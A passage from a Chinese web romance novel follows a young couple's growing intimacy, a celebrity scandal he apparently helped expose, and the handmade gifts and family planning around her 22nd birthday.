商恪景说虞千绾在睡觉,这么早不可能起来,有什么事商知珩要是不好问的话,他可以帮忙给苏旎发消息。 商知珩却不同意,执着的一定要等待虞千绾睡醒得到她的答复。 商恪景不明白哥哥为什么要如此,如果虞千绾能给出他想听的内容也就算了,可虞千绾显然什么都不知道啊。 虞千绾听完也是既激动八卦又一头雾水的。 最后只能归因于商知珩太内敛,抑或昨晚商知珩开着车跟着苏旎离开后又发生了什么。 奈何他们俩对商知珩和苏旎的事真的知之甚少。 苏旎是高二开学前夕寄住在商家的,商知珩比苏旎要大一岁,也就是说,其实虞千绾和商恪景只是在苏旎高二商知珩高三的这一年间同时和他们两人有接触,后来商知珩就出国读大学了,他们只和苏旎接触多些,再过一年,苏旎读完高中也出国去读大学了,所以他们压根不了解商知珩和苏旎之间的情况。 甚至在昨日之前,他们都不知道商知珩和苏旎曾经有过一段,丁点觉察都没有。两家人还常道他们俩的性格是截然相反的两类人,是连吵架都吵不起来的那种,谁知上来就是一巴掌,可谓是将虞千绾和商恪景的胃口吊到了极致。 但没办法,他们不知详情,甚至可以说是一片空白,就连猜测都没有一点细枝末节延伸,这样的话题聊起来太没意思,所以很快他们又聊起了自己的事。 商恪景今日肉眼可见的黏人,放在工作上的时间少了很多,一直在和虞千绾聊天。 虞千绾知晓缘由,也很开心能和他聊天,可又不想怕他因此晚上得加班补上迟回来。毕竟现在的聊天是隔着网络的,看不到人,可下班后是实打实的真人,两相抉择,她还是想让他现在多忙些,晚上早点回来。 商恪景只道想她了。 虞千绾理智本来就没多坚固,一见他这么说,她便也忍不住又继续和他聊了起来,直到她饿了准备起床洗漱吃饭才暂停了聊天。 虞千绾乘着电梯去一楼餐桌上拿司机放过来的午饭,期间边走路边在网上冲浪。 打开微博就看到了个爆了的热搜词条。 #清纯小奶狗晁高逸竟被包养多年# 昨天才接触过的人突然就出现在热搜上,很微妙的感觉,虞千绾步伐都是一停,惊讶睁圆了眸认真点进热搜去看。 狗仔曝光视频是凌晨五点多放出的,到目前为止已经发酵了五个小时,吃瓜网友们基本都把瓜料罗列好了。 虞千绾吃起来很快。 简洁版就是—— 晁高逸高中时期就和某位富婆有牵扯了,当时他住的豪宅是那位富婆名下的,也是这位富婆帮着晁高逸进了娱乐圈,不过这段关系在他进入娱乐圈大半年后就断了。 但晁高逸很快就找到了下家,光被狗仔拍到的,陆陆续续就有七八位富婆,且其中有时间重合,说明晁高逸并不是和上位富婆断了才寻的下一个。 晁高逸的外表很具有欺骗性,是偏幼态的那种,也经常参加综艺立纯情弟弟的人设,所以大家都对他有种清纯年下小奶狗的滤镜,现在滤镜碎了个彻底,大家一边惊叹一边猜测晁高逸是不是同时攀几个富婆被发现了,于是富婆曝光出来想要毁了他的演艺事业。 虞千绾没看到这话时尚没想太多,只当个瓜在看。 可看到这些猜测,她脑子里突然蹦出个人。 昨天刚给她递了房卡,今天就出事…… 不能这么巧吧? 第90章 第 90 章 “宝宝,有没有不舒服?…… 虞千绾指腹在手机屏幕上一滑, 当即就将微博页面切换至微信,想要去问商恪景。 但点入置顶的时候,她又顿住了手。 微皱眉头想了想,虞千绾还是退出了微信页面, 没有立刻给商恪景发消息。 他们俩之间的话题不能轻易开启, 一开启又会聊很久很难停下, 他们刚刚已经聊很长时间了, 现在再找他的话, 他晚上怕是得加班到很晚才能回来。 如果代价是延迟见到商恪景,那么晁高逸这事也就显得不太重要了, 等商恪景回来再聊也不是不行。 反正是商恪景做的也没什么, 四舍五入算是为民除害了,间接拉回了一批被晁高逸的假象坑害到的粉丝, 早一日,氪金粉就少花一点钱。 不过这种认识的人待在热搜上的感觉还挺奇妙, 虞千绾本来就挺爱吃瓜的, 此刻吃得更是聚精会神,吃着吃着全然忘了自己本意是要下楼吃饭的了,下到一楼后径直就窝到了沙发里寻了个舒服的姿势继续在网上冲浪。 吃瓜的时候,时间过得很快, 半个小时转眼即逝。 就在虞千绾逐渐把和晁高逸有关的所有瓜料吃完准备起身去吃午饭的时候, 晁高逸发回应微博了。 一长串的小作文,瞬间又把虞千绾硬控在了沙发上。 在明星频频塌房的时代,明星本人的回应逐渐千篇一律, 吃瓜网友们的发言反倒百花齐放,一个比一个有意思,还跟着冒出了几个新梗。 虞千绾看得直笑, 笑着笑着突然看到有网友在根据晁高逸之前的社交平台内容与综艺互动毫无实证地随意揣测某些女明星是不是也和他有些不正当关系,她顿感恶心,笑容一下就消失了,不知道这些人在臆想些什么。 幸而这批人是少数,楼中楼里已经有很多脑子正常的网友在骂他们了。 但苏旎也是公众人物,虞千绾出于关切赶忙坐起身给她发去了消息,询问晁高逸有没有过给她房卡或旁的什么性暗示举措。 苏旎回说没有,虞千绾替她松口气,否则要是被晁高逸狗急跳墙胡乱攀咬扯到恼人得很,平白无故还得自证一通。 苏旎倒有些疑惑,虞千绾看到热搜跟她提到晁高逸很正常,但怎么就精确点到房卡这事? 虞千绾便说了晁高逸昨天给她房卡这事。 苏旎一听,火腾地就窜了上来,扣了一连串的问号,直接骂了晁高逸好几个屏幕。 两人就这个话题聊了不短时间。 一切吸引注意力的事物消失后,饥饿感上涌得很快,时间也彻底来到正午。 早该吃饭却拖延至今的虞千绾感觉自己再迟一秒吃上饭就要被饿死,于是没像往常那般把午饭带回起居室吃,而是就近坐在餐厅吃。 虞千绾快要吃饱时,忽然听到玄关处传来动静,似乎有人在外面开门。 餐厅和客厅之间是连通的,并无墙壁阻隔,不过隔着些距离,声音传入耳的时候很轻,但家里就虞千绾一个人很安静,她敏锐听到了声响,咀嚼的动作都是一止,扭头望着玄关处想看看是谁来了。 虞千绾脑子里其实有对象,她想应该是保姆,来收拾家的,正好再带走装她饭菜的保温餐具回去清洗。 可当来人的身形行过玄关柜出现在虞千绾眼前时,两人都是一怔,而后同时出声: “你怎么回来了?” “今天怎么在这吃?” 说完,两人又同时发笑。 “想你了,回来看看。” 商恪景扬了扬眉,笑容舒朗,大步迈向虞千绾。 虞千绾本也笑吟吟看着他的,但随着之间距离快速缩短,商恪景离得越来越近,她脑海里突兀跳入一帧帧昨晚的画面,并且反复回闪,使得她倏然就有些别扭了。 她赶忙低下头,往嘴里扒拉了一口饭,含糊应了声“嗯……” 商恪景拉开虞千绾旁边的椅子,坐下时顺手就抬指捻了捻虞千绾温热的耳垂,“不是早就说吃饭了吗?怎么现在还在吃?” 他这只手昨晚干过什么触过哪里,虞千绾再了然不过。 所以柔软的耳肉被他骨感的两指碾过的瞬间,她浑身就像过电般,分外敏感地轻颤了下,脑袋下意识就朝另侧一偏。 几乎在脑袋躲过的那刻,虞千绾就意识到她的反应有些大了,他只是碰了碰她的耳朵而已……但她刚刚也不知道怎么了,身体本能就那么做了。 这种时候再去找补什么好像更尴尬,虞千绾便只佯装无事摸了摸自己的耳垂,轻咳了声后虚虚说:“……耳朵突然很痒。” 商恪景刚触过虞千绾耳垂的拇指和食指之间还保持着些许空隙,闻言他眸中噙上些似笑非笑的意味,两指并上,指腹重重揉搓了几下,缓缓放下滞悬在空中的右手。 配合着道:“哦,这样。” “嗯……” 说不清道不明的,虞千绾浑身就跟有蚂蚁爬过一般,有些如坐针毡。 空气静了一瞬,虞千绾冷不丁想起商恪景刚刚的问题她还没答复,她硬着头皮再将话题拽回去答说:“……正好给你发完消息下楼的时候在手机上刷到了晁高逸的热搜,吃了会儿瓜,所以吃饭时间迟了些。” “你呢?还没吃饭吧?现在点外卖也不知道来不来得及。” 商恪景中午基本都是不回来吃饭的,所以保姆做的都是只供虞千绾的一人食。 不过饭量这种事很难精准把控,免不得有些时候胃口大开会多吃点,多备些总比没吃饱好,所以说是一人食,但保姆做的都是一人半的食量,确保虞千绾不会饿着。 现下餐桌上剩的这些差不多也能够商恪景吃个半饱。 他想好中午回来看她的时候,就已经舍弃了自己的午饭时间,他都做好去便利店买些开袋即食食物的心理准备了。 相较起来,面前的饭菜好吃多了。 “没事,我吃这些就行,过会儿去永誉再点些下午茶就差不多了。” 虞千绾本也要吃饱了,当即就将自己的碗筷推到他面前,“那你快吃,别连这些都没吃完就得回去了。” 她吃菜比较多,碗里的米饭还剩不少。 商恪景一副很好养活的样子,低头就是两大口米饭。 虞千绾看他这副模样真的很想笑,论谁能想到,热搜第一的背后推手,永誉集团二少爷,现在却在猛猛干剩饭,反差对比太强烈,虞千绾愈发忍俊不禁,再开口时语气都轻快了些,“晁高逸那事,是不是你让人曝光的?” 商恪景不觉有甚的“嗯”了声,“省得再出来骚扰人。” 有私心又怎么样,晁高逸人品有问题是事实,他这么做,于公于私都是好事。 午休时间往返别墅还是有些赶,大半时间都浪费在路上了,商恪景想多和虞千绾说说话,所以吃饭速度很快,饭菜混在一起迅速往嘴里扒拉着。 意料之中的答案,虞千绾看着他干饭的架势闷笑声,帮他盛了碗汤出来放到他手边。 但也有些疑惑,“你什么时候让人查这些的?我怎么都不知道?” 他们昨晚明明一直待在一起。 商恪景埋头吃饭的动作一顿,头没动,但眼睛上抬看向虞千绾。 须臾后,他直起了些身,嘴里的饭菜咀嚼得差不多才擦了擦嘴道:“你睡着以后。” 他眼睛持续看着她,虞千绾忽然很后悔问他这个问题。 一涉及到昨夜,她那种难言的羞臊的不自在感又开始上涌,视线不住地左右瞟动,“……喔。” 筷子横置在碗上碰出了轻微声响,虞千绾眼睑莫名轻颤了下。 商恪景身形跟着斜挨过来,鼻尖试探性的,一点点、一点点压深,缓缓蹭动着她的耳廓。 他一开口,嗓音就是和刚刚完全不同的黏稠感,且在随着话声渐浓,腻乎至极,“宝宝……我好想你,每一秒都在想你。” 虽然这些话,虞千绾都有从他发来的99+消息里知晓,但此刻亲耳听到,仍旧伴随着阵阵酥麻感,百听不腻。 她轻抿着下唇,轻轻瞄了一眼商恪景。 这一眼,烟视媚行,虽不比昨夜那般露骨,可撩人程度不减分毫。 商恪景喉间顿感干涩,很轻易就想到了昨夜,她圈着他的脖颈,一边湿红了眼,眼睫湿哒哒垂着,一边又那样依赖且爱恋地望着他。 还持续绞咬着他的指。 “宝宝……” 他声音又暗哑了几分。 话音未落,虞千绾就被抱起,斜坐在了他腿上。 她还没坐稳,他的吻就铺天盖地席卷而来。 虞千绾羞赧地轻呓了几声,细指蜷在他胸膛前若有似无地抵了抵,自然是无用功。 有了昨夜的经历,今天再接吻,商恪景的手不再那么拘谨,仿佛再没他不可去不可碰的区域。 但他整体上还是比较安分的,没乱来什么。 就在虞千绾这么认为的时候,她腿根处忽然压下一道力度,他五指左右按住了她右腿腿根。 即便隔着长款睡裤,虞千绾还是猛然睁开了眼偏开了脑袋,边喘着边去摁住商恪景的手,将他手指所在的位置朝下拉了拉,拉到大腿中段的位置。 再一偏首,还不待她羞嗔商恪景什么,他就自觉挨靠了上来,额头抵着她的,含情眼近距离纠缠着她的视线,以这样的靡靡之态说:“宝宝,我没有要做什么。” 虞千绾委实很难相信,但又羞于捅破。 只努了努鼻尖,小声轻哼:“……那你也在摸,流氓。” 商恪景鼻息间漾出声很轻的笑,他将虞千绾抱得更紧,额头有一搭没一搭摩挲着她的,声音越来越哑,“宝宝,我要是流氓,我昨晚就不会从头到尾衣裤整齐的了。” 他不说还好,他一说,虞千绾反倒觉得很不公平。 凭什么她一身礼服裙料最后都堆叠到锁骨处了,他还穿得整整齐齐的? 可要是真脱了,好像羞臊的人还是她。 怎么都说不赢,虞千绾索性噤了声,就红着耳尖垂下视线。 商恪景以手轻捏住虞千绾两颊,控着她抬起些小脸,低头缱绻地亲了亲她唇角,酝酿再三,还是问道:“……宝宝,我昨晚有没有哪里让你不舒服?” 他声音依旧是哑的,但少了些情欲,更多是关切,是初尝到这般滋味激动后的生疏。 他们在这方面到底没什么经验,商恪景又体验不到虞千绾的感觉,总怕哪里弄痛了她,思来想去,还是问她得到的答案最准确,虽然她可能会羞,可他还是得问,防止下次再犯却不知。 虞千绾感知到商恪景没有那方面心思,可这种事真的很难坦然面对,起码于现在没怎么经历过亲昵的她而言是这样。 一张沁着粉泽的小脸又埋进了商恪景怀里。 商恪景也没再问什么,只是长指穿插入她脑后的长发中,上下上下地抚着,耐心等着。 无言了半晌,怀里才闷出虞千绾细若蚊吟的声,她说:“……还好。” 这两个字已是她竭力憋出的,再说不出其它更细致更直白的。 商恪景服务意识很好,也很顾及她的感受,从头到尾,虞千绾其实都没什么不舒服的,相反,有一会儿因为他太收着太温柔,虞千绾倒有些被吊着不上不下的感觉,那种爽到脑袋发白的欢愉到来的较为慢吞。 但毕竟是第一次尝试,只是看着爱人就足够激动,技术青涩些也没什么,而且虞千绾没体验过,她压根也分辨不出技术好赖,就像初次接吻一样,他们的吻技都称不上‘技’这个字,因为毫无技巧可言,可他们依旧让对方都意乱情迷- 当晚,商恪景按点下班。 以为他会加班很久的虞千绾准时看到他欣喜不已,直接在沙发上站起身一蹦就扑到了他怀里,双手缠住他颈,细腿盘在他腰后,商恪景稳稳托住了她臀,两人形成考拉抱的姿势腻在一块你侬我侬的。 商恪景说多亏商知珩最近的注意力都放在苏旎身上,而且想从他们这得到更多苏旎的消息,所以对他还挺宽容的,叮嘱了他句“回去问问苏旎有没有千绾联系”就睁只眼闭只眼地放任他把工作带回来处理了,只要他按时做好工作就行。 不过因为一整天确实老在办公室里惦记虞千绾,商恪景还剩了不少工作没处理好,所以到家后持续在工作。 虞千绾忙完工作后又追了会儿剧、刷了会儿短视频,困意都袭上了,商恪景却还在工作,他便让她先回卧室休息,不用等他。 虞千绾还是陪了一会儿,直到自己确实困了才回卧室洗漱。 她头发长,洗吹费些时间,又护了个肤。 再从浴室出来时,已经过去了一个多小时。 而某人,不知何时在侧卧洗好澡,然后一身睡衣分外自觉来到主卧,睡在了她的床上。 虞千绾走出洗浴间,意外瞥见商恪景靠躺在自己床上的第一眼吓了一跳,她浑身上下就穿了条睡裙和内裤,没穿内衣,双手下意识交叉环在身前,既羞又惊的声调骤扬,声音不自觉尖细,“商恪景?!不是……你怎么在这?”《 》 90-95 第91章 第 91 章 “你这叫只是睡觉?”…… 商恪景原本正目不转睛含笑盯着虞千绾, 她震惊的话和神情一出,他靠在床头的上半身忽然就斜倒了下去,盖至腰上的被子随着动作滑到腰胯处,领口也松垮了些, 隐蕴着力量感的健康偏白皮肤在其下若隐若现。 完全始料未及的耍赖招数, 虞千绾陡然失语, 懵笑出短促的一声“哈?” 屋内静了一瞬一瞬又一瞬, 商恪景不仅不说话, 身子也一动不动的,俨然一副试图靠着装死糊弄过去的姿态。 “商恪景, 你少装。” 虞千绾不仅没靠近, 还往后又退了半步。 商恪景依旧不应声。 虞千绾将声音刻意压沉了些,装出凶态, 一字一顿喊他,“商、恪、景!” 她自诩这套对商恪景很有用, 和大人对小孩说“我数到三”的威慑力差不多, 百试不厌,商恪景每每一听她这腔调就会瞬间老实,但今天居然失了效,商恪景仍然一动不动趴在那。 原因并不难猜, 虞千绾自己都知道。 因为她压根没有在生气。 不仅没生气, 甚至还在忍笑。 商恪景那么大一只待在她的床上,显得她的床都娇小不少,虞千绾莫名感到些诙谐感, 很想笑。 商恪景多了解她,自然听出她没有真生气,所以这套也就没了用。 虞千绾也知道自己如果真跟他发脾气, 撵他回去,他肯定瞬间就老实照做了,并且短时间内不会再来她的卧室,会保持和原先一样的分寸感。 但她并不想那么做,事情也远没到这种程度。 心一软,她就略显束手无策,近乎约等于某种纵容。 虞千绾犹豫再三,还是从一旁拿过了条毯子披在肩上,向商恪景靠近。 毯子是中长款的,自肩膀朝下一垂就遮到了胯,但随着走动,毯子左右轻摆,虞千绾不太放心地用手拢住,彻底护好了胸前,不会让商恪景看出凸点。 即便商恪景昨夜已然直白赤裸地看到了,还在和她接吻时逐渐向下到此处含弄……但虞千绾还是别扭。 毕竟现在的氛围分外清明,没有丁点暧昧渲染,不似昨夜那般旖旎,身心皆深陷其中。 遑论也就经历过昨晚那一次而已,她尚没办法习以为常地坦然面对。 虞千绾走到靠近商恪景那边的床沿,弯下腰,一手拢着身前软毯,一手探出去掐商恪景的脸,“商恪景,你是不是太得寸进尺了?” “才在侧卧住多久就这么堂而皇之跑到主卧来了?” 按他这进度还了得? 这么想着,虞千绾指间力度加重了些,掐起一小层皮肉,“不可以,快点回去。” 商恪景还是没说话,不过他终于动了动。 埋在被中的正脸微侧,半边侧脸枕在被上,视线自下而上望着虞千绾。 不情愿的意思无需多言就已然靠着眼神清晰传递出,其间似还掺杂了零星茶里茶气的委屈和哀怨。但更多的还是僵持——敌不动我不动,敌动我也不动。 虞千绾松了劲,收回了手。 商恪景脸侧刚被她掐过的那片迅速变红,和周围皙白的肤色形成种渐变感。 他们就这样无声对视了半分钟,虞千绾直起身子,眼睑微微耷拉,声音偏闷,“我真的困了。” 商恪景顿时就没法再装下去,半撑起身去拉虞千绾的手,大抵是知道自己不占理且确实不太正经,声音也轻轻的,显得没什么底气,“……上来一起睡嘛。” 虞千绾并不排斥商恪景住她这,但就是觉得太突然了,悄无声息的,怎么洗个澡出来,他就在她床上了…… 过度亲昵的昨夜带起的尴尬劲还没彻底散去,使得她总觉得轻易松了口,今夜就会发生什么。 “……不要,你回侧卧去。” 她到底还是犹豫着拒绝了,还将手朝后挣了挣,但没挣开。 一见她有后退的意思,商恪景就将她的手攥得更紧了。 不仅如此,他整个上身都跟着坐起,没再松散倚在床上,另手揽住了虞千绾的后腰,带着她向前,直到她的脚尖抵在床边无法再向前分毫,他才埋首将额头抵在她腹前,停滞须臾才轻声:“宝宝怎么这样……我昨晚不已经是你的人了吗?” 就好像在控诉一个渣女。 虞千绾一噎,顿感商恪景的脸皮厚度已经又上升了一个层次了。 话赶话的,难为情的情绪倒被压下了些,她只卡壳几秒就带着股冲动回道:“商恪景你讲不讲道理?你昨晚衣服穿得好好的,我什么都没看到也没摸到。” 哪像他,既动手又动嘴的。 腹前,商恪景脑袋忽然抬起,眸光晦暗着却又带着细微的烁闪,“你可以——” 只这一眼,虞千绾就知道他要说什么,眉心突突直跳,赶忙叫停,“打住!我今晚只想睡个安稳觉。” 她现在还没从昨夜的旖旎中完全拔出来,接连再来一晚,她怕是脑袋又得昏涨几天。 “我也只是想睡觉,没有要做什么。” 商恪景边说边用了些力气箍着虞千绾往床上坐,虞千绾抿着唇暗暗使着劲抵抗了,奈何抵不过他,半分钟不到就跌坐在了他腿上。 隐隐从他身上感觉到些男人的劣根性,虞千绾羞嗔了商恪景一眼,抬手又掐了掐他的脸,这次是两只手一起掐的。 商恪景的回应却是轻柔的吻。 他顶着那张被虞千绾掐的有些泛红的俊脸,缓缓挨靠过来,细细密密地吻上那张饱满香甜的樱唇。 就像是润物细无声的春雨,那样的温和那样的潺湲,却又那样的入心,似乎可以穿透皮肉,融入骨血中。 虞千绾也不知道事态是怎么发展成这样的。 恋爱后的他们身体逐渐熟悉对方,唇瓣感觉到商恪景的时候习惯性就张启、回应。 待她再意识到不对的时候,她和商恪景已经双双倒在床上唇舌交缠,身体贴合得密不可分了。 他又坚硬地抵住了她。 虞千绾试图中止这枚漫长的湿吻,她想要说话,可她躲闪一点,商恪景就近一点。 跟调情似的你追我赶了半分钟,虞千绾嘴巴才终于属于自己,但因为氧气告罄,她一时间尚没办法自如说出话,高频呼吸着汲取新鲜空气,胸脯也上下起伏着。 商恪景额发微乱,零星翘起几缕,掩不住其下的眉眼分毫。 一双眼直勾勾地,热切地盯着虞千绾。 虞千绾困劲都散了大半。 呼吸终于喘匀了些,她才伸手去推商恪景的脸,不让他这么看着自己,“……你这叫只是睡觉?” 越来越硬地抵着她。 “我保证,我今晚在这,只是睡觉,什么都不做。” “但你这样,我没办法好好睡觉。” 虞千绾还记得起初,商恪景因为怕被她发觉,抱着她坐在腿上的时候都分外注意,不让她跨坐,现在却天天都硌着她……她分开一点都不行,他跟着就贴上来了。 虽然知道商恪景也不是故意想这么硌着她,他就是想紧挨着她,但总觉得他没之前那么清纯了,他们如青苹果般的恋爱仿佛变了色,越来越黄。两相对比,虞千绾有些不是滋味地抬指戳了戳他胳膊,“而且你一点预兆都没有……冷不丁就过来睡我床上了。” 商恪景耳根却忽然发烫、转红。 这随着恋爱时间加长已经愈发少见了。 就连仿佛蒙着雾气的眼神都清澈了些。 虞千绾略显茫然地眨了眨眼,她这句话,有很荤吗? 明明没有他说的那些更限制级。 “……理解错了。” 商恪景很轻地回应,虞千绾试图揣度,但没懂,“嗯?什么意思?” 商恪景张了张唇,却又合上没发出声。 他们身体面对面紧挨着,斜躺在床上。 脑袋微动,商恪景凑了过来,把脸贴在了虞千绾颈侧和脸颊那片。 面肤毫无阻隔的触碰着,虞千绾也就清晰感觉到了他面颊在上升的温度。 大概类似于荤菜吃惯了忽然爱吃点素的,虞千绾还挺受用商恪景现下这副纯情姿态。 她一边闷着笑去rua商恪景短簇的发,一边困惑想他的话,正在她百思不得其解之际,商恪景又闷闷出声了。 他说:“我还以为……昨晚你给我进卧室睡觉就是一种暗示,代表我以后就可以过来睡了。” “而且……你从书房离开的时候,说的是,你先回来洗澡睡觉。‘先’,这不是说我忙完可以来的意思吗?” 商恪景还当这是他们之间的心照不宣。 按捺着躁动的心脏保持理智快速忙完工作第一时间就来了主卧,但彼时虞千绾在洗澡,他在卧室里略显坐立难安的待了几分钟,见虞千绾还没出来,他就回了侧卧把自己又好好清洗了一番。 哪知等了半天,她出来第一句就是问他怎么在这。 那样震惊的眼神和话语,商恪景一下就意识到,自己理解错了。 闻言,虞千绾啼笑皆非。 听到她的笑,商恪景张嘴就在她颈侧轻咬了下。 虞千绾闷不住更想笑了,“怎么还咬人?明明是你自己弄错了。” 商恪景忽然疯狂,脑袋在虞千绾颈间一个劲地钻,不想她再提这茬。 头发频频刮过她的皮肤,又痒又好笑的。 虞千绾最怕痒了,双手急遽捧起他的脸,不让他再这么折腾下去。 心里的天平其实已经有了偏移,但虞千绾面上没表现出,她还故意压下了唇角的笑,佯装平常道:“好了,那现在误会解开了,你可以回去了。” 商恪景抓过虞千绾托在他脸侧,最挨近他嘴边的那根手指,不假思索含住咬了咬,力度轻到像是含吮,带起一阵电流感。 虞千绾蜷指挣开,眸光潋滟,声调倏然就软了些,“……变态。” 她脑袋里忽然就钻入那日刷短视频时看到的内容,那个女生说,火象都很重欲,如果双火象谈恋爱会在床上很合得来。 她觉得商恪景已经初见苗头了。 大抵是她这声“变态”喊得太迤逦,毫无生气的架势,商恪景顺着就接,“那我当变态的话,可不可以留下来?” “管你当不当,你已经是变态了。” 真是脸皮越来越厚了,虞千绾抬手就在商恪景胸前轻捶了下,跟着她就跪坐起身,膝行着找好位置躺上自己的枕头,自顾自裹好被子,再慢吞吞把身上的毯子拽出,随手往床头柜上一丢。 她下半张小脸都埋到了被中,声音多了层阻碍,偏闷,但掩不住微微上翘的嗲意,话中带着细微的波浪感,“……关灯,我要睡觉了。” 确定这一次,一定没有理解错误。 商恪景立即关上了灯,掀开被子进入,从后牢牢抱住了虞千绾的腰,眷念的脸压在她颈侧反复蹭着,“宝宝晚安。” 这一刻仿佛回个晚安都是无比难为情的事,虞千绾偏了偏头,反手去推他,“你好重……” 商恪景上身听话后撤了些,老实挨在她身后,没再半撑着身子用脑袋压下去蹭她。 “宝宝晚安。” 他又说了一遍,虞千绾的眼睫在黑暗里眨了又眨,好半晌,才很小声很小声回:“晚安……” 第92章 第 92 章 周既明从她家走了出来…… 卧室是青梅竹马的两人自小尤其会顾及着不随意进出的地方, 恋爱后,两人之间虽没之前那么注意了,但进入前还是会叩门、等待对方允可。 如若对方在卧室里睡觉,处于并不那么清醒的状态, 他们大多情况下便只选择站在卧室门口说完话就带上门离开, 不会进入。 不过在这夜后, 商恪景刚在侧卧安置不久的物什就开始逐渐往主卧搬移, 和虞千绾的东西融洽并存在同一空间内。 他们的生活中似乎再没什么对方不能涉及的私密区域。 这种又亲近了许多的认知让商恪景更期待每天的下班时刻, 但同时,给虞千绾准备惊喜这事也变得更难。 之前两人分别住在两个卧室, 商恪景睡前还能在床上捣鼓一会儿手工钩制品, 但住到一起后,商恪景就连这点时间都腾不出来了。 一方面是虞千绾睡觉浅, 他若是在她睡着后再偷偷出去,开关门有声音, 可能会弄醒她, 他也难解释。另方面是抱着女朋友入睡的感觉实在太美好,一抱上就舍不得放,而且有时他比虞千绾还快入睡,更别提半夜爬起来准备什么惊喜了。 商恪景便只能在上下班的途中, 以及在上班时间工作量少些能摸鱼的时候多学多练。 随着时间, 商恪景逐渐在钩织上得心应手,手指灵活翻动间就做出了可爱漂亮的杯垫和耳机包,越后做出的越齐整精细。 他信心十足, 觉得自己彻底练成了,便开始给虞千绾钩织大些的包包。 就在包包钩织大半,眼瞧着快要完工之际, 商恪景又收到了虞千绾一条和手工有关的图文分享。 分享里是个扭扭棒盆栽,大概就是用绿色的扭扭棒做出树身和树枝树叶,树根处则用棕灰色的扭扭棒裹两圈,做得很生动形象,但最吸引虞千绾的地方显然是‘树上’坠着的铜钱。 这是一株发财树。 虞千绾称赞其完美,看着就很招财,而且扭扭棒做的不会被养死,最适合她这种懒人。 不过这种东西如果想买实在太多了,虞千绾也没太往心里去,就当下刷到觉得挺好玩,顺手分享给商恪景以后说了句很适合摆在办公桌上就去忙别的了,完全没想到商恪景看到后不到半分钟就下单了制作扭扭棒发财树的材料包。 反正看起来比钩织简单多了,再做几个也没什么。 到时候在他们俩办公区域都放一个,正好还是情侣款呢。 钩织都手拿把掐的商恪景逐渐膨胀。 但没多久,商恪景又发现虞千绾对diy手串来了兴趣。 他单手撑额似笑似叹思量良久,倒不是无奈于要给她做新的。他可以也情愿一直给她做,他们时间还长。 他就是担心自己学得太慢,而她又有些三分钟热度,待他把礼物送给她的时候,她可能都没那么喜欢了。 不过既然知道了,手串还是要准备的。 商恪景立刻就开始去了解diy手串的材料,但网上售卖的那些材料包都太便宜了,里面的珠子一看就没什么价值,虞千绾手上从没戴过这么廉价的东西,而且手串串起来简单,不似包包那样纯手工,送这样的礼物很显敷衍。 商恪景便专门买了些昂贵的玉石、珍珠、钻石,给她穿了几条手链。 四月初,商恪景就已经把这些全都准备好了,但想着如果立刻把这些都送给虞千绾的话,她可能后面就克制着不怎么给他分享这类视频了。 他很了然虞千绾的心态,她无非是看到视频的时候单纯觉得好看或有趣,于是就分享给他,并没让他做的意思。 虽然她收到一定会很开心,但知道他会根据她的视频制作送她后,她再给他分享这类视频时会免不得会多加考量。 商恪景索性打算再等等,看她在离她生日的这半月期间会不会再发这类视频来,他收到就立刻做,攒着在她生日那天一起送给她。 虞千绾的生日就在四月十五号,很标准的四月中。 今年是她22岁的生日,商恪景便自己又去搜了些好看的手工小制品,想把这些和他给她的生日礼物加在一起凑够22个- 虞千绾生日前一周,家里人就开始询问她的生日安排了。 想得差不多后,她挑了个大家都空闲的时间在家庭群里同他们交涉。 二老没参与,因为深知孙女已经长大了,这种日子更适合和同龄朋友在一起折腾,他们和年轻孩子之间早有代沟了,不多掺和,就把该准备的礼物准备好送去让孩子开心就行。 虞昭音不用说,肯定是要亲自帮虞千绾庆祝的。 姐妹俩这么多年都是如此。 就连刚接手嘉澍最忙的那一年,虞昭音都腾出了时间陪妹妹过生日。 唯一有些不确定的就是虞千绾爸妈,不过不确定的不是他们,而是虞千绾。 他们一直是配合虞千绾的,只要虞千绾生日不和朋友们一起过,他们就中止旅行,提前回国陪她一起过生日,但若是和朋友一起过,那他们俩即便回来也只会让小辈们玩得不松快,索性就不回来,等到后面再单独给虞千绾补过。 酝酿须臾,虞千绾在群里和爸妈卖乖,说就不打扰他们的旅行了,等他们玩好一站回京市再补就行。 虞宗然看破且说破,还伴随着些醋意。 他忽然在群里@了贝菡,两个人分明就坐在一起,却在还群里做戏,【老婆,这是我们女儿说的话吗?千绾什么时候这么懂事了?该不会是谈了恋爱后不情愿和我们一起过生日了吧?】 虞千绾对着屏幕直接笑出声,立即点进姐姐头像和姐姐进行私聊,蛐蛐爸爸明晃晃的幼稚举措。 但在群里,她依旧卖乖嘴甜,先是发了个无辜憨笑的表情包,而后说当然没有,还是最爱最爱爸妈。 即便知道虞千绾这话里充斥着很大的虚假,爸妈还是睁只眼闭只眼放过了,没低情商的继续装傻道既然这么爱我们,那我们就回国陪你过生日。 生日嘛,还是寿星高兴最重要,爸妈转瞬就遂了她的意,开始问她礼物想要什么。 是最直白的转账,还是什么难弄的奢侈品。 虞千绾毫不客气,一年一次的日子,当然要狮子大开口。 虞宗然又玩起了那套,在群里@贝菡说:【老婆,这就对了,这才是我们女儿嘛。】 虞千绾扑哧笑出声,直接笑倒在沙发上。 不过今时不同往日,虞千绾和商恪景都不是只有上学这么一件正经事的大学生了。 往昔,虞千绾虽然晚上固定和姐姐一起过生日,但白天的时间都自由安排,可现在,商恪景白天时间全被拘在永誉,压根腾不出时间陪虞千绾过生日。 商恪景得知消息当即去找了商知珩,想请假一天,但被拒了。 商知珩冷脸扫了眼商恪景,说最近对他已经很宽容了,让他适可而止。 商恪景倏然很后悔,他自从知道自家哥哥和苏旎姐有纠葛之后,下班点没完成工作但想回家时老打着这种幌子去磨商知珩,基本都如愿把工作带回家处理了。 次数多了些后确实有些抱着些习以为常的心思放肆了,就算有工作没忙完也不和商知珩报备,和助理交涉好后就直接把工作带回家了,其中不乏尚不太熟悉需要助理指导的工作,但他选择和助理通线上视频。 显然,商知珩知道了他这些小动作,但见他工作做得还行就没多管。 结果他还蹬鼻子上脸,现在直接要请假一天,商知珩自然不可能同意。 商恪景喟叹。 想着如若不是这段时间随性了些,一天假该是能请下来的。 但他不是都好好把工作做完了嘛…… 商恪景还是不想就这么放弃,后续又去磨了商知珩几次,直到被狠狠训斥了一次,高度直接被上升到“现在是生日请一天假,下次是不是就要来说你要和千绾过交往多少天多少个月的纪念日了?然后还能扯出一堆出行旅游计划?反正你可以线上处理,以后别来永誉得了。你还记不记得自己当初要来实习的时候怎么说的了?” 商恪景瞬时就被训的熄了火,敛了念头认命。 老实和虞千绾规划她生日里余下的空闲时间。 